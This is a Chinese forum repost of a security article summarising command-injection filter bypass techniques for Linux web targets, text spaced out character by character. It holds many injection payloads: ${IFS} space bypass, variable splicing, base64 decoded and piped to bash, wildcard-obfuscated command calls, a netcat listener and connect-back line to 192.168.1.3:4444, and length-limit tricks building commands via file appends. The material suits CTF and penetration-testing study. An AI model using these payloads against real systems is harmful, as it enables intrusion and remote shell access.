搜索

[21388] 2020-11-07_命令注入绕过方式总结

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2020-11-07_命令注入绕过方式总结 命 令 注 入 绕 过 方 式 总 结 转 自 乌 雲 安 全   L e m o n S e c   2 0 2 0 - 1 1 - 0 7 前 言 前 言 命 令 注 入 是 w e b 中 常 见 的 漏 洞 之 一 ， 由 于 w e b 应 用 程 序 未 对 用 户 提 交 的 数 据 做 严 格 的 过 滤 ， 导 致 用 户 输 入 可 以 直 接 被 l i n u x 或 w i n d o w s 系 统 当 成 命 令 执 行 ， 一 般 都 会 造 成 严 重 的 危 害 。 常 用 符 号 常 用 符 号 分 号 （ 分 号 （ ; ） ） 多 条 语 句 顺 序 执 行 时 的 分 割 符 号 。 1 c m d 1 ; c m d 2 管 道 符 （ 管 道 符 （ | ） ） c m d 1 命 令 的 输 出 ， 作 为 下 一 条 命 令 c m d 2 的 参 数 。 1 c m d 1 | c m d 2 a n d （ （ & & ） ） 与 命 令 ， c m d 1 成 功 则 执 行 c m d 2 ， c m d 1 失 败 则 不 执 行 c m d 2 1 c m d 1   & &   c m d 2 o r （ （ | | ） ） 或 命 令 ， c m d 1 失 败 则 执 行 c m d 2 ， c m d 1 成 功 则 不 执 行 c m d 2 1 c m d 1   | |   c m d 2 反 引 号 （ ） 和 反 引 号 （ ） 和 $ ( ) 反 引 号 和 $ ( ) 都 可 用 来 表 示 命 令 ， 被 这 两 种 方 式 包 含 的 字 符 串 都 会 被 当 做 命 令 首 先 执 行 。
1 2 e c h o   " r e s u l t   :   ` w h o a m i ` " e c h o   " r e s u l t   :   $ ( w h o a m i ) " 绕 过 方 式 总 结 绕 过 方 式 总 结 空 格 绕 过 空 格 绕 过 在 过 滤 了 空 格 的 系 统 中 ， 以 c a t   f l a g . t x t 为 例 ， 系 统 不 允 许 我 们 输 入 空 格 或 输 入 后 被 过 滤 。 $ { I F S } 可 使 用 $ { I F S } 代 替 空 格 。 1 2 3 c a t $ { I F S } f l a g . t x t c a t $ I F S $ 1 f l a g . t x t c a t $ { I F S } $ 1 f l a g . t x t 重 定 向 符 绕 过 重 定 向 符 绕 过 ( < > ) 1 2 c a t < > f l a g . t x t c a t < f l a g . t x t % 0 9 ( 需 要 需 要 p h p 环 境 环 境 ) p h p 环 境 下 w e b 输 入 % 0 9 等 效 于 空 格 1 c a t % 0 9 f l a g . t x t 黑 名 单 绕 过 黑 名 单 绕 过 拼 接 拼 接 使 用 s h e l l 变 量 拼 接 被 黑 名 单 限 制 的 关 键 词 1 a = c ; b = a t ; c = f l ; d = a g ; e = . t x t ; $ a $ b   $ c $ d $ e ; b a s e 6 4
使 用 反 引 号 包 含 b a s e 6 4 解 码 后 的 命 令 1 ` e c h o   " Y 2 F 0 I G Z s Y W c u d H h 0 C g = = "   |   b a s e 6 4   - d ` 将 b a s e 6 4 解 码 后 的 命 令 通 过 管 道 符 传 递 给 b a s h 1 e c h o   " Y 2 F 0 I G Z s Y W c u d H h 0 C g = = "   |   b a s e 6 4   - d   |   b a s h 单 引 号 ， 双 引 号 单 引 号 ， 双 引 号 1 c " " a t   f l ' ' a g . t x " " t 反 斜 杠 反 斜 杠 1 c a t   f l a g . t x t $ 1 1 c a $ 1 t   f l $ 1 a g . t $ 1 x t 读 文 件 绕 过 读 文 件 绕 过 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 ( 1 ) m o r e : 一 页 一 页 的 显 示 档 案 内 容 ( 2 ) l e s s : 与   m o r e   类 似 ， 但 是 比   m o r e   更 好 的 是 ， 他 可 以 [ p g   d n ] [ p g   u p ] 翻 页 ( 3 ) h e a d : 查 看 头 几 行 ( 4 ) t a c : 从 最 后 一 行 开 始 显 示 ， 可 以 看 出   t a c   是   c a t   的 反 向 显 示 ( 5 ) t a i l : 查 看 尾 几 行 ( 6 ) n l ： 显 示 的 时 候 ， 顺 便 输 出 行 号 ( 7 ) o d : 以 二 进 制 的 方 式 读 取 档 案 内 容 ( 8 ) v i : 一 种 编 辑 器 ， 这 个 也 可 以 查 看 ( 9 ) v i m : 一 种 编 辑 器 ， 这 个 也 可 以 查 看 ( 1 0 ) s o r t : 可 以 查 看 ( 1 1 ) u n i q : 可 以 查 看 ( 1 2 ) f i l e   - f : 报 错 出 具 体 内 容
通 配 符 绕 过 通 配 符 绕 过 / ? ? ? 会 去 寻 找   /   目 录 下 的 三 个 字 符 长 度 的 文 件 ， 正 常 情 况 下 会 寻 找 到 / b i n ， 然 后 / ? [ a ] [ t ] 会 优 先 匹 配 到 / b i n / c a t , 就 成 功 调 用 了 c a t 命 令 ， 然 后 后 面 可 以 使 用 正 常 的 通 配 符 匹 配 所 需 读 的 文 件 ， 如 f l a g . t x t 文 件 名 长 度 为 8 ， 使 用 8 个 ? ’ ’ ， 此 命 令 就 会 读 取 所 有 长 度 为 8 的 文 件 。 1 / ? ? ? / ? [ a ] [ t ]   ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' 同 理 ， 我 们 也 可 以 匹 配 / b i n 下 的 其 他 命 令 ， 如 m o r e ， l e s s ， v i ， t a i l 等 命 令 来 查 看 文 件 ， 或 者 执 行 其 他 命 令 。 1 / ? ? ? / [ m ] [ o ] ? [ e ]   ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' 1 / ? ? ? / [ t ] ? [ i ] [ l ]   ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' ? ' ' 甚 至 开 启 一 个 s h e l l 1 / ? ? ? / [ n ] ? [ t ] ? ? [ t ]   - l v p   4 4 4 4 1 / ? ? ? / [ n ] ? [ t ] ? ? [ t ]   1 9 2 . 1 6 8 . 1 . 3   4 4 4 4 命 令 嵌 套 命 令 嵌 套 1 e c h o   " r e s u l t : ` w h o a m i ` " 1 e c h o   " r e s u l t : $ ( u n a m e   - a ) " 长 度 绕 过 长 度 绕 过 使 用 使 用 > > 绕 过 长 度 限 制 绕 过 长 度 限 制 使 用 > > 每 次 添 加 一 部 分 命 令 到 文 件 中
1 2 3 4 e c h o   - n   " c m d 1 "   >   r ; e c h o   - n   " c m d 2 "   > >   r ; e c h o   - n   " c m d 3 "   > >   r ; e c h o   " c m d 4 "   > >   r ; 然 后 使 用 c a t   r   |   b a s h 执 行 命 令 使 用 换 行 执 行 和 使 用 换 行 执 行 和 l s   - t 绕 过 长 度 限 制 绕 过 长 度 限 制 l i n u x 中 ， 文 件 中 的 命 令 如 果 需 要 换 行 书 写 ， 需 要 在 前 一 行 末 尾 增 加 ， 如 文 件 a 中 有 1 2 3 c a t   f l a g . t x t 使 用 s h   a 即 可 执 行 命 令 c a t   f l a g . t x t l s   - t 可 根 据 时 间 创 建 顺 序 逆 序 输 出 文 件 名 a 可 以 创 建 一 个 名 为 a 的 文 件 按 照 这 个 思 路 ， 可 以 使 用 1 2 3 4 >   " a g " >   " f l " >   " t   " >   " c a " 然 后 使 用 l s   - t   >   s s 中 文 件 内 容 就 是
1 2 3 4 5 6 s c a t   f l a g 其 他 的 无 关 内 容 之 后 使 用 s h   s ， 即 可 执 行 c a t   f l a g 作 者 ： 作 者 ： L e t i c i a ， 来 源 ： ， 来 源 ： L e t i c i a ' s   B l o g 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 【 好 书 推 荐 】 【 好 书 推 荐 】 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理